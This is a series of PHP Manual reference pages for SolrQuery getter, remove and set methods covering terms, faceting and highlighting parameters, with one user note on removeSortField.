Returns the minimum document frequency to return in order to be included

SolrQuery::getTermsMaxCount
SolrQuery::getTermsPrefix
SolrQuery
PHP Manual

SolrQuery::getTermsMinCount

(PECL solr >= 0.9.2)

SolrQuery::getTermsMinCount — Returns the minimum document frequency to return in order to be included

Description

public int SolrQuery::getTermsMinCount ( void )

Returns the minimum document frequency to return in order to be included

Parameters

This function has no parameters.

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getTermsMaxCount
SolrQuery::getTermsPrefix
SolrQuery


Returns the term prefix

SolrQuery::getTermsMinCount
SolrQuery::getTermsReturnRaw
SolrQuery
PHP Manual

SolrQuery::getTermsPrefix

(PECL solr >= 0.9.2)

SolrQuery::getTermsPrefix — Returns the term prefix

Description

public string SolrQuery::getTermsPrefix ( void )

Returns the prefix to which matching terms must be restricted. This will restrict matches to only terms that start with the prefix

Parameters

This function has no parameters.

Return Values

Returns a string on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getTermsMinCount
SolrQuery::getTermsReturnRaw
SolrQuery


Whether or not to return raw characters

SolrQuery::getTermsPrefix
SolrQuery::getTermsSort
SolrQuery
PHP Manual

SolrQuery::getTermsReturnRaw

(PECL solr >= 0.9.2)

SolrQuery::getTermsReturnRaw — Whether or not to return raw characters

Description

public bool SolrQuery::getTermsReturnRaw ( void )

Returns a boolean indicating whether or not to return the raw characters of the indexed term, regardless of if it is human readable

Parameters

This function has no parameters.

Return Values

Returns a boolean on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getTermsPrefix
SolrQuery::getTermsSort
SolrQuery


Returns an integer indicating how terms are sorted

SolrQuery::getTermsReturnRaw
SolrQuery::getTermsUpperBound
SolrQuery
PHP Manual

SolrQuery::getTermsSort

(PECL solr >= 0.9.2)

SolrQuery::getTermsSort — Returns an integer indicating how terms are sorted

Description

public int SolrQuery::getTermsSort ( void )

SolrQuery::TERMS_SORT_INDEX indicates that the terms are returned by index order. SolrQuery::TERMS_SORT_COUNT implies that the terms are sorted by term frequency (highest count first)

Parameters

This function has no parameters.

Return Values

Returns an integer on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getTermsReturnRaw
SolrQuery::getTermsUpperBound
SolrQuery


Returns the term to stop at

SolrQuery::getTermsSort
SolrQuery::getTimeAllowed
SolrQuery
PHP Manual

SolrQuery::getTermsUpperBound

(PECL solr >= 0.9.2)

SolrQuery::getTermsUpperBound — Returns the term to stop at

Description

public string SolrQuery::getTermsUpperBound ( void )

Returns the term to stop at

Parameters

This function has no parameters.

Return Values

Returns a string on success and NULL if not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getTermsSort
SolrQuery::getTimeAllowed
SolrQuery


Returns the time in milliseconds allowed for the query to finish

SolrQuery::getTermsUpperBound
SolrQuery::removeFacetDateField
SolrQuery
PHP Manual

SolrQuery::getTimeAllowed

(PECL solr >= 0.9.2)

SolrQuery::getTimeAllowed — Returns the time in milliseconds allowed for the query to finish

Description

public int SolrQuery::getTimeAllowed ( void )

Returns the time in milliseconds allowed for the query to finish.

Parameters

This function has no parameters.

Return Values

Returns and integer on success and NULL if it is not set.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getTermsUpperBound
SolrQuery::removeFacetDateField
SolrQuery


Removes one of the facet date fields

SolrQuery::getTimeAllowed
SolrQuery::removeFacetDateOther
SolrQuery
PHP Manual

SolrQuery::removeFacetDateField

(PECL solr >= 0.9.2)

SolrQuery::removeFacetDateField — Removes one of the facet date fields

Description

public SolrQuery SolrQuery::removeFacetDateField ( string $field )

The name of the field

Parameters

field

The name of the date field to remove

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::getTimeAllowed
SolrQuery::removeFacetDateOther
SolrQuery


Removes one of the facet.date.other parameters

SolrQuery::removeFacetDateField
SolrQuery::removeFacetField
SolrQuery
PHP Manual

SolrQuery::removeFacetDateOther

(PECL solr >= 0.9.2)

SolrQuery::removeFacetDateOther — Removes one of the facet.date.other parameters

Description

public SolrQuery SolrQuery::removeFacetDateOther ( string $value [, string $field_override ] )

Removes one of the facet.date.other parameters

Parameters

value

The value

field_override

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::removeFacetDateField
SolrQuery::removeFacetField
SolrQuery


Removes one of the facet.date parameters

SolrQuery::removeFacetDateOther
SolrQuery::removeFacetQuery
SolrQuery
PHP Manual

SolrQuery::removeFacetField

(PECL solr >= 0.9.2)

SolrQuery::removeFacetField — Removes one of the facet.date parameters

Description

public SolrQuery SolrQuery::removeFacetField ( string $field )

Removes one of the facet.date parameters

Parameters

field

The name of the field

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::removeFacetDateOther
SolrQuery::removeFacetQuery
SolrQuery


Removes one of the facet.query parameters

SolrQuery::removeFacetField
SolrQuery::removeField
SolrQuery
PHP Manual

SolrQuery::removeFacetQuery

(PECL solr >= 0.9.2)

SolrQuery::removeFacetQuery — Removes one of the facet.query parameters

Description

public SolrQuery SolrQuery::removeFacetQuery ( string $value )

Removes one of the facet.query parameters.

Parameters

value

The value

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::removeFacetField
SolrQuery::removeField
SolrQuery


Removes a field from the list of fields

SolrQuery::removeFacetQuery
SolrQuery::removeFilterQuery
SolrQuery
PHP Manual

SolrQuery::removeField

(PECL solr >= 0.9.2)

SolrQuery::removeField — Removes a field from the list of fields

Description

public SolrQuery SolrQuery::removeField ( string $field )

Removes a field from the list of fields

Parameters

field

Name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::removeFacetQuery
SolrQuery::removeFilterQuery
SolrQuery


Removes a filter query

SolrQuery::removeField
SolrQuery::removeHighlightField
SolrQuery
PHP Manual

SolrQuery::removeFilterQuery

(PECL solr >= 0.9.2)

SolrQuery::removeFilterQuery — Removes a filter query

Description

public SolrQuery SolrQuery::removeFilterQuery ( string $fq )

Removes a filter query.

Parameters

fq

The filter query to remove

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::removeField
SolrQuery::removeHighlightField
SolrQuery


Removes one of the fields used for highlighting

SolrQuery::removeFilterQuery
SolrQuery::removeMltField
SolrQuery
PHP Manual

SolrQuery::removeHighlightField

(PECL solr >= 0.9.2)

SolrQuery::removeHighlightField — Removes one of the fields used for highlighting

Description

public SolrQuery SolrQuery::removeHighlightField ( string $field )

Removes one of the fields used for highlighting.

Parameters

field

The name of the field

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::removeFilterQuery
SolrQuery::removeMltField
SolrQuery


Removes one of the moreLikeThis fields

SolrQuery::removeHighlightField
SolrQuery::removeMltQueryField
SolrQuery
PHP Manual

SolrQuery::removeMltField

(PECL solr >= 0.9.2)

SolrQuery::removeMltField — Removes one of the moreLikeThis fields

Description

public SolrQuery SolrQuery::removeMltField ( string $field )

Removes one of the moreLikeThis fields.

Parameters

field

Name of the field

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::removeHighlightField
SolrQuery::removeMltQueryField
SolrQuery


Removes one of the moreLikeThis query fields

SolrQuery::removeMltField
SolrQuery::removeSortField
SolrQuery
PHP Manual

SolrQuery::removeMltQueryField

(PECL solr >= 0.9.2)

SolrQuery::removeMltQueryField — Removes one of the moreLikeThis query fields

Description

public SolrQuery SolrQuery::removeMltQueryField ( string $queryField )

Removes one of the moreLikeThis query fields.

Parameters

queryField

The query field

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::removeMltField
SolrQuery::removeSortField
SolrQuery


Removes one of the sort fields

SolrQuery::removeMltQueryField
SolrQuery::removeStatsFacet
SolrQuery
PHP Manual

SolrQuery::removeSortField

(PECL solr >= 0.9.2)

SolrQuery::removeSortField — Removes one of the sort fields

Description

public SolrQuery SolrQuery::removeSortField ( string $field )

Removes one of the sort fields

Parameters

field

The name of the field

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

hasbridge at gmail dot com 23-Jul-2010 02:16
This method will generate a notice if you try and remove a sort field that isn't set. This can happen if you call getSortFields, which will return an array like:

[0] => 'fieldName asc',
[1] => 'fieldName desc

But if you try and call:

<?php
$object->removeSortField('fieldName asc');
?>

You will get a notice. Instead, you need to truncate the sort order (' asc', ' desc') part of it. Something like:

<?php
$fieldName = trim(str_replace(array('asc', 'desc')), '', $fieldName);
?>
SolrQuery::removeMltQueryField
SolrQuery::removeStatsFacet
SolrQuery


Removes one of the stats.facet parameters

SolrQuery::removeSortField
SolrQuery::removeStatsField
SolrQuery
PHP Manual

SolrQuery::removeStatsFacet

(PECL solr >= 0.9.2)

SolrQuery::removeStatsFacet — Removes one of the stats.facet parameters

Description

public SolrQuery SolrQuery::removeStatsFacet ( string $value )

Removes one of the stats.facet parameters

Parameters

value

The value

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::removeSortField
SolrQuery::removeStatsField
SolrQuery


Removes one of the stats.field parameters

SolrQuery::removeStatsFacet
SolrQuery::setEchoHandler
SolrQuery
PHP Manual

SolrQuery::removeStatsField

(PECL solr >= 0.9.2)

SolrQuery::removeStatsField — Removes one of the stats.field parameters

Description

public SolrQuery SolrQuery::removeStatsField ( string $field )

Removes one of the stats.field parameters

Parameters

field

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::removeStatsFacet
SolrQuery::setEchoHandler
SolrQuery


Toggles the echoHandler parameter

SolrQuery::removeStatsField
SolrQuery::setEchoParams
SolrQuery
PHP Manual

SolrQuery::setEchoHandler

(PECL solr >= 0.9.2)

SolrQuery::setEchoHandler — Toggles the echoHandler parameter

Description

public SolrQuery SolrQuery::setEchoHandler ( bool $flag )

If set to true, Solr places the name of the handle used in the response to the client for debugging purposes.

Parameters

flag

TRUE or FALSE

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::removeStatsField
SolrQuery::setEchoParams
SolrQuery


Determines what kind of parameters to include in the response

SolrQuery::setEchoHandler
SolrQuery::setExplainOther
SolrQuery
PHP Manual

SolrQuery::setEchoParams

(PECL solr >= 0.9.2)

SolrQuery::setEchoParams — Determines what kind of parameters to include in the response

Description

public SolrQuery SolrQuery::setEchoParams ( string $type )

Instructs Solr what kinds of Request parameters should be included in the response for debugging purposes, legal values include:

- none - don't include any request parameters for debugging
- explicit - include the parameters explicitly specified by the client in the request
- all - include all parameters involved in this request, either specified explicitly by the client, or implicit because of the request handler configuration.

Parameters

type

The type of parameters to include

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setEchoHandler
SolrQuery::setExplainOther
SolrQuery


Sets the explainOther common query parameter

SolrQuery::setEchoParams
SolrQuery::setFacet
SolrQuery
PHP Manual

SolrQuery::setExplainOther

(PECL solr >= 0.9.2)

SolrQuery::setExplainOther — Sets the explainOther common query parameter

Description

public SolrQuery SolrQuery::setExplainOther ( string $query )

Sets the explainOther common query parameter

Parameters

query

The Lucene query to identify a set of documents

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setEchoParams
SolrQuery::setFacet
SolrQuery


Maps to the facet parameter. Enables or disables facetting

SolrQuery::setExplainOther
SolrQuery::setFacetDateEnd
SolrQuery
PHP Manual

SolrQuery::setFacet

(PECL solr >= 0.9.2)

SolrQuery::setFacet — Maps to the facet parameter. Enables or disables facetting

Description

public SolrQuery SolrQuery::setFacet ( bool $flag )

Enables or disables faceting.

Parameters

value

TRUE enables faceting and FALSE disables it.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setExplainOther
SolrQuery::setFacetDateEnd
SolrQuery


Maps to facet.date.end

SolrQuery::setFacet
SolrQuery::setFacetDateGap
SolrQuery
PHP Manual

SolrQuery::setFacetDateEnd

(PECL solr >= 0.9.2)

SolrQuery::setFacetDateEnd — Maps to facet.date.end

Description

public SolrQuery SolrQuery::setFacetDateEnd ( string $value [, string $field_override ] )

Maps to facet.date.end

Parameters

value

See facet.date.end

field_override

Name of the field

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setFacet
SolrQuery::setFacetDateGap
SolrQuery


Maps to facet.date.gap

SolrQuery::setFacetDateEnd
SolrQuery::setFacetDateHardEnd
SolrQuery
PHP Manual

SolrQuery::setFacetDateGap

(PECL solr >= 0.9.2)

SolrQuery::setFacetDateGap — Maps to facet.date.gap

Description

public SolrQuery SolrQuery::setFacetDateGap ( string $value [, string $field_override ] )

Maps to facet.date.gap

Parameters

value

See facet.date.gap

field_override

The name of the field

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setFacetDateEnd
SolrQuery::setFacetDateHardEnd
SolrQuery


Maps to facet.date.hardend

SolrQuery::setFacetDateGap
SolrQuery::setFacetDateStart
SolrQuery
PHP Manual

SolrQuery::setFacetDateHardEnd

(PECL solr >= 0.9.2)

SolrQuery::setFacetDateHardEnd — Maps to facet.date.hardend

Description

public SolrQuery SolrQuery::setFacetDateHardEnd ( bool $value [, string $field_override ] )

Maps to facet.date.hardend

Parameters

value

See facet.date.hardend

field_override

The name of the field

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setFacetDateGap
SolrQuery::setFacetDateStart
SolrQuery


Maps to facet.date.start

SolrQuery::setFacetDateHardEnd
SolrQuery::setFacetEnumCacheMinDefaultFrequency
SolrQuery
PHP Manual

SolrQuery::setFacetDateStart

(PECL solr >= 0.9.2)

SolrQuery::setFacetDateStart — Maps to facet.date.start

Description

public SolrQuery SolrQuery::setFacetDateStart ( string $value [, string $field_override ] )

Maps to facet.date.start

Parameters

value

See facet.date.start

field_override

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setFacetDateHardEnd
SolrQuery::setFacetEnumCacheMinDefaultFrequency
SolrQuery


Sets the minimum document frequency used for determining term count

SolrQuery::setFacetDateStart
SolrQuery::setFacetLimit
SolrQuery
PHP Manual

SolrQuery::setFacetEnumCacheMinDefaultFrequency

(PECL solr >= 0.9.2)

SolrQuery::setFacetEnumCacheMinDefaultFrequency — Sets the minimum document frequency used for determining term count

Description

public SolrQuery SolrQuery::setFacetEnumCacheMinDefaultFrequency ( int $frequency [, string $field_override ] )

Sets the minimum document frequency used for determining term count

Parameters

value

The minimum frequency

field_override

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setFacetDateStart
SolrQuery::setFacetLimit
SolrQuery


Maps to facet.limit

SolrQuery::setFacetEnumCacheMinDefaultFrequency
SolrQuery::setFacetMethod
SolrQuery
PHP Manual

SolrQuery::setFacetLimit

(PECL solr >= 0.9.2)

SolrQuery::setFacetLimit — Maps to facet.limit

Description

public SolrQuery SolrQuery::setFacetLimit ( int $limit [, string $field_override ] )

Maps to facet.limit. Sets the maximum number of constraint counts that should be returned for the facet fields.

Parameters

limit

The maximum number of constraint counts

field_override

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setFacetEnumCacheMinDefaultFrequency
SolrQuery::setFacetMethod
SolrQuery


Specifies the type of algorithm to use when faceting a field

SolrQuery::setFacetLimit
SolrQuery::setFacetMinCount
SolrQuery
PHP Manual

SolrQuery::setFacetMethod

(PECL solr >= 0.9.2)

SolrQuery::setFacetMethod — Specifies the type of algorithm to use when faceting a field

Description

public SolrQuery SolrQuery::setFacetMethod ( string $method [, string $field_override ] )

Specifies the type of algorithm to use when faceting a field. This method accepts optional field override.

Parameters

method

The method to use.

field_override

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setFacetLimit
SolrQuery::setFacetMinCount
SolrQuery


Maps to facet.mincount

SolrQuery::setFacetMethod
SolrQuery::setFacetMissing
SolrQuery
PHP Manual

SolrQuery::setFacetMinCount

(PECL solr >= 0.9.2)

SolrQuery::setFacetMinCount — Maps to facet.mincount

Description

public SolrQuery SolrQuery::setFacetMinCount ( int $mincount [, string $field_override ] )

Sets the minimum counts for facet fields that should be included in the response

Parameters

mincount

The minimum count

field_override

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setFacetMethod
SolrQuery::setFacetMissing
SolrQuery


Maps to facet.missing

SolrQuery::setFacetMinCount
SolrQuery::setFacetOffset
SolrQuery
PHP Manual

SolrQuery::setFacetMissing

(PECL solr >= 0.9.2)

SolrQuery::setFacetMissing — Maps to facet.missing

Description

public SolrQuery SolrQuery::setFacetMissing ( bool $flag [, string $field_override ] )

Used to indicate that in addition to the Term-based constraints of a facet field, a count of all matching results which have no value for the field should be computed

Parameters

flag

TRUE turns this feature on. FALSE disables it.

field_override

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setFacetMinCount
SolrQuery::setFacetOffset
SolrQuery


Sets the offset into the list of constraints to allow for pagination

SolrQuery::setFacetMissing
SolrQuery::setFacetPrefix
SolrQuery
PHP Manual

SolrQuery::setFacetOffset

(PECL solr >= 0.9.2)

SolrQuery::setFacetOffset — Sets the offset into the list of constraints to allow for pagination

Description

public SolrQuery SolrQuery::setFacetOffset ( int $offset [, string $field_override ] )

Sets the offset into the list of constraints to allow for pagination.

Parameters

offset

The offset

field_override

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setFacetMissing
SolrQuery::setFacetPrefix
SolrQuery


Specifies a string prefix with which to limits the terms on which to facet

SolrQuery::setFacetOffset
SolrQuery::setFacetSort
SolrQuery
PHP Manual

SolrQuery::setFacetPrefix

(PECL solr >= 0.9.2)

SolrQuery::setFacetPrefix — Specifies a string prefix with which to limits the terms on which to facet

Description

public SolrQuery SolrQuery::setFacetPrefix ( string $prefix [, string $field_override ] )

Specifies a string prefix with which to limits the terms on which to facet.

Parameters

prefix

The prefix string

field_override

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setFacetOffset
SolrQuery::setFacetSort
SolrQuery


Determines the ordering of the facet field constraints

SolrQuery::setFacetPrefix
SolrQuery::setHighlight
SolrQuery
PHP Manual

SolrQuery::setFacetSort

(PECL solr >= 0.9.2)

SolrQuery::setFacetSort — Determines the ordering of the facet field constraints

Description

public SolrQuery SolrQuery::setFacetSort ( int $facetSort [, string $field_override ] )

Determines the ordering of the facet field constraints

Parameters

facetSort

Use SolrQuery::FACET_SORT_INDEX for sorting by index order or SolrQuery::FACET_SORT_COUNT for sorting by count.

field_override

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setFacetPrefix
SolrQuery::setHighlight
SolrQuery


Enables or disables highlighting

SolrQuery::setFacetSort
SolrQuery::setHighlightAlternateField
SolrQuery
PHP Manual

SolrQuery::setHighlight

(PECL solr >= 0.9.2)

SolrQuery::setHighlight — Enables or disables highlighting

Description

public SolrQuery SolrQuery::setHighlight ( bool $flag )

Setting it to TRUE enables highlighted snippets to be generated in the query response.

Setting it to FALSE disables highlighting

Parameters

flag

Enable or disable highlighting

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setFacetSort
SolrQuery::setHighlightAlternateField
SolrQuery


Specifies the backup field to use

SolrQuery::setHighlight
SolrQuery::setHighlightFormatter
SolrQuery
PHP Manual

SolrQuery::setHighlightAlternateField

(PECL solr >= 0.9.2)

SolrQuery::setHighlightAlternateField — Specifies the backup field to use

Description

public SolrQuery SolrQuery::setHighlightAlternateField ( string $field [, string $field_override ] )

If a snippet cannot be generated because there were no matching terms, one can specify a field to use as the backup or default summary

Parameters

field

The name of the backup field

field_override

The name of the field we are overriding this setting for.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setHighlight
SolrQuery::setHighlightFormatter
SolrQuery


Specify a formatter for the highlight output

SolrQuery::setHighlightAlternateField
SolrQuery::setHighlightFragmenter
SolrQuery
PHP Manual

SolrQuery::setHighlightFormatter

(PECL solr >= 0.9.2)

SolrQuery::setHighlightFormatter — Specify a formatter for the highlight output

Description

public SolrQuery SolrQuery::setHighlightFormatter ( string $formatter [, string $field_override ] )

Specify a formatter for the highlight output.

Parameters

formatter

Currently the only legal value is "simple"

field_override

The name of the field.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setHighlightAlternateField
SolrQuery::setHighlightFragmenter
SolrQuery


Sets a text snippet generator for highlighted text

SolrQuery::setHighlightFormatter
SolrQuery::setHighlightFragsize
SolrQuery
PHP Manual

SolrQuery::setHighlightFragmenter

(PECL solr >= 0.9.2)

SolrQuery::setHighlightFragmenter — Sets a text snippet generator for highlighted text

Description

public SolrQuery SolrQuery::setHighlightFragmenter ( string $fragmenter [, string $field_override ] )

Specify a text snippet generator for highlighted text.

Parameters

fragmenter

The standard fragmenter is gap. Another option is regex, which tries to create fragments that resembles a certain regular expression

field_override

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setHighlightFormatter
SolrQuery::setHighlightFragsize
SolrQuery


The size of fragments to consider for highlighting

SolrQuery::setHighlightFragmenter
SolrQuery::setHighlightHighlightMultiTerm
SolrQuery
PHP Manual

SolrQuery::setHighlightFragsize

(PECL solr >= 0.9.2)

SolrQuery::setHighlightFragsize — The size of fragments to consider for highlighting

Description

public SolrQuery SolrQuery::setHighlightFragsize ( int $size [, string $field_override ] )

Sets the size, in characters, of fragments to consider for highlighting. "0" indicates that the whole field value should be used (no fragmenting).

Parameters

size

The size, in characters, of fragments to consider for highlighting

field_override

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setHighlightFragmenter
SolrQuery::setHighlightHighlightMultiTerm
SolrQuery


Use SpanScorer to highlight phrase terms

SolrQuery::setHighlightFragsize
SolrQuery::setHighlightMaxAlternateFieldLength
SolrQuery
PHP Manual

SolrQuery::setHighlightHighlightMultiTerm

(PECL solr >= 0.9.2)

SolrQuery::setHighlightHighlightMultiTerm — Use SpanScorer to highlight phrase terms

Description

public SolrQuery SolrQuery::setHighlightHighlightMultiTerm ( bool $flag )

Use SpanScorer to highlight phrase terms only when they appear within the query phrase in the document.

Parameters

flag

Whether or not to use SpanScorer to highlight phrase terms only when they appear within the query phrase in the document.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setHighlightFragsize
SolrQuery::setHighlightMaxAlternateFieldLength
SolrQuery


Sets the maximum number of characters of the field to return

SolrQuery::setHighlightHighlightMultiTerm
SolrQuery::setHighlightMaxAnalyzedChars
SolrQuery
PHP Manual

SolrQuery::setHighlightMaxAlternateFieldLength

(PECL solr >= 0.9.2)

SolrQuery::setHighlightMaxAlternateFieldLength — Sets the maximum number of characters of the field to return

Description

public SolrQuery SolrQuery::setHighlightMaxAlternateFieldLength ( int $fieldLength [, string $field_override ] )

If SolrQuery::setHighlightAlternateField() was passed the value TRUE, this parameter specifies the maximum number of characters of the field to return

Any value less than or equal to 0 means unlimited.

Parameters

fieldLength

The length of the field

field_override

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setHighlightHighlightMultiTerm
SolrQuery::setHighlightMaxAnalyzedChars
SolrQuery


Specifies the number of characters into a document to look for suitable snippets

SolrQuery::setHighlightMaxAlternateFieldLength
SolrQuery::setHighlightMergeContiguous
SolrQuery
PHP Manual

SolrQuery::setHighlightMaxAnalyzedChars

(PECL solr >= 0.9.2)

SolrQuery::setHighlightMaxAnalyzedChars — Specifies the number of characters into a document to look for suitable snippets

Description

public SolrQuery SolrQuery::setHighlightMaxAnalyzedChars ( int $value )

Specifies the number of characters into a document to look for suitable snippets

Parameters

value

The number of characters into a document to look for suitable snippets

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setHighlightMaxAlternateFieldLength
SolrQuery::setHighlightMergeContiguous
SolrQuery


Whether or not to collapse contiguous fragments into a single fragment

SolrQuery::setHighlightMaxAnalyzedChars
SolrQuery::setHighlightRegexMaxAnalyzedChars
SolrQuery
PHP Manual

SolrQuery::setHighlightMergeContiguous

(PECL solr >= 0.9.2)

SolrQuery::setHighlightMergeContiguous — Whether or not to collapse contiguous fragments into a single fragment

Description

public SolrQuery SolrQuery::setHighlightMergeContiguous ( bool $flag [, string $field_override ] )

Whether or not to collapse contiguous fragments into a single fragment

Parameters

value

Whether or not to collapse contiguous fragments into a single fragment

field_override

The name of the field.

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setHighlightMaxAnalyzedChars
SolrQuery::setHighlightRegexMaxAnalyzedChars
SolrQuery


Specify the maximum number of characters to analyze

SolrQuery::setHighlightMergeContiguous
SolrQuery::setHighlightRegexPattern
SolrQuery
PHP Manual

SolrQuery::setHighlightRegexMaxAnalyzedChars

(PECL solr >= 0.9.2)

SolrQuery::setHighlightRegexMaxAnalyzedChars — Specify the maximum number of characters to analyze

Description

public SolrQuery SolrQuery::setHighlightRegexMaxAnalyzedChars ( int $maxAnalyzedChars )

Specify the maximum number of characters to analyze from a field when using the regex fragmenter

Parameters

maxAnalyzedChars

The maximum number of characters to analyze from a field when using the regex fragmenter

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setHighlightMergeContiguous
SolrQuery::setHighlightRegexPattern
SolrQuery


Specify the regular expression for fragmenting

SolrQuery::setHighlightRegexMaxAnalyzedChars
SolrQuery::setHighlightRegexSlop
SolrQuery
PHP Manual

SolrQuery::setHighlightRegexPattern

(PECL solr >= 0.9.2)

SolrQuery::setHighlightRegexPattern — Specify the regular expression for fragmenting

Description

public SolrQuery SolrQuery::setHighlightRegexPattern ( string $value )

Specifies the regular expression for fragmenting. This could be used to extract sentences

Parameters

value

The regular expression for fragmenting. This could be used to extract sentences

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setHighlightRegexMaxAnalyzedChars
SolrQuery::setHighlightRegexSlop
SolrQuery


Sets the factor by which the regex fragmenter can stray from the ideal fragment size

SolrQuery::setHighlightRegexPattern
SolrQuery::setHighlightRequireFieldMatch
SolrQuery
PHP Manual

SolrQuery::setHighlightRegexSlop

(PECL solr >= 0.9.2)

SolrQuery::setHighlightRegexSlop — Sets the factor by which the regex fragmenter can stray from the ideal fragment size

Description

public SolrQuery SolrQuery::setHighlightRegexSlop ( float $factor )

The factor by which the regex fragmenter can stray from the ideal fragment size ( specfied by SolrQuery::setHighlightFragsize )to accomodate the regular expression

Parameters

factor

The factor by which the regex fragmenter can stray from the ideal fragment size

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setHighlightRegexPattern
SolrQuery::setHighlightRequireFieldMatch
SolrQuery


Require field matching during highlighting

SolrQuery::setHighlightRegexSlop
SolrQuery::setHighlightSimplePost
SolrQuery
PHP Manual

SolrQuery::setHighlightRequireFieldMatch

(PECL solr >= 0.9.2)

SolrQuery::setHighlightRequireFieldMatch — Require field matching during highlighting

Description

public SolrQuery SolrQuery::setHighlightRequireFieldMatch ( bool $flag )

If TRUE, then a field will only be highlighted if the query matched in this particular field.

This will only work if SolrQuery::setHighlightUsePhraseHighlighter() was set to TRUE

Parameters

flag

TRUE or FALSE

Return Values

Returns the current SolrQuery object, if the return value is used.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setHighlightRegexSlop
SolrQuery::setHighlightSimplePost
SolrQuery


Sets the text which appears after a highlighted term

SolrQuery::setHighlightRequireFieldMatch
SolrQuery::setHighlightSimplePre
SolrQuery
PHP Manual

SolrQuery::setHighlightSimplePost

(PECL solr >= 0.9.2)

SolrQuery::setHighlightSimplePost — Sets the text which appears after a highlighted term

Description

public SolrQuery SolrQuery::setHighlightSimplePost ( string $simplePost [, string $field_override ] )

Sets the text which appears before a highlighted term

Parameters

simplePost

Sets the text which appears after a highlighted term

The default is </em>

field_override

The name of the field.

User Contributed Notes

There are no user contributed notes for this page.
SolrQuery::setHighlightRequireFieldMatch
SolrQuery::setHighlightSimplePre
SolrQuery


Sets the text which appears before a highlighted term

SolrQuery::setHighlightSimplePost
SolrQuery::setHighlightSnippets
SolrQuery
PHP Manual

SolrQuery::setHighlightSimplePre

(PECL solr >= 0.9.2)

SolrQuery::setHighlightSimplePre — Sets the text which appears before a highlighted term

Description

